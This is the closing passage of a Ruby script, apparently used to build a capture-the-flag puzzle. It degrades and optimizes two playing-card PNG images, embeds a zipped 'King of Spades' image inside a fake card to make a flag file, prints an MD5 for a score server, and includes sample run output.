resize_image(king_of_spades_path)
|
||||
fake_png_transparency_map = map_transparent_pixels(fake_card_path)
|
||||
king_of_spades_transparency_map = map_transparent_pixels(king_of_spades_path)
|
||||
[ fake_card_path, king_of_spades_path ].each do |card_path|
|
||||
jpg_path = convert_png_to_jpg(card_path)
|
||||
convert_jpg_to_png(jpg_path)
|
||||
case card_path
|
||||
when fake_card_path
|
||||
restore_transparency(card_path, fake_png_transparency_map)
|
||||
when king_of_spades_path
|
||||
restore_transparency(card_path, king_of_spades_transparency_map)
|
||||
end
|
||||
optimize(card_path)
|
||||
end
|
||||
|
||||
md5 = get_md5(king_of_spades_path)
|
||||
print_status("Final King of Spades MD5 hash is: #{md5} (use this on the score server)")
|
||||
|
||||
flag_path = finalize_king_of_spades(fake_card_path, king_of_spades_path)
|
||||
print_status("Flag created: #{flag_path} (Size: #{get_file_size(flag_path)} bytes)")
|
||||
|
||||
b64_file = make_base64_file(flag_path)
|
||||
print_status("Base64 file for the flag is: #{b64_file} (Size: #{get_file_size(b64_file)} bytes)")
|
||||
end
|
||||
|
||||
def main
|
||||
init_workspace
|
||||
process_cards
|
||||
ensure
|
||||
cleanup
|
||||
end
|
||||
|
||||
if __FILE__ == $PROGRAM_NAME
|
||||
main
|
||||
end
|
||||
|
||||
=begin
|
||||
Script output:
|
||||
|
||||
* Workspace "temp" created
|
||||
* Original temp/fake.png dimension = 700x500
|
||||
* Resized temp/fake.png dimension = 574x410
|
||||
* Original temp/king_of_spades.png dimension = 700x500
|
||||
* Resized temp/king_of_spades.png dimension = 574x410
|
||||
* Mapping transparent pixels for temp/fake.png
|
||||
* Mapping transparent pixels for temp/king_of_spades.png
|
||||
* Converting temp/fake.png to JPG to reduce image quality to 10
|
||||
* Converting temp/fake.jpg back to PNG
|
||||
* Restoring transparency for temp/fake.png
|
||||
* Optimizing temp/fake.png, this may take a while...
|
||||
pngquant: unrecognized option `--speed 1'
|
||||
* Converting temp/king_of_spades.png to JPG to reduce image quality to 10
|
||||
* Converting temp/king_of_spades.jpg back to PNG
|
||||
* Restoring transparency for temp/king_of_spades.png
|
||||
* Optimizing temp/king_of_spades.png, this may take a while...
|
||||
pngquant: unrecognized option `--speed 1'
|
||||
* Final King of Spades MD5 hash is: 8fc453ee48180b958f98e0d2d856d1c8 (use this on the score server)
|
||||
* Creating flag as flag.png
|
||||
* King of Spades compressed as: temp/king_of_spades.png.zip
|
||||
* Flag created: flag.png (Size: 150533 bytes)
|
||||
* Base64 file for the flag is: flag_base64.txt (Size: 200712 bytes)
|
||||
* Workspace "temp" deleted.
|
||||
=end
|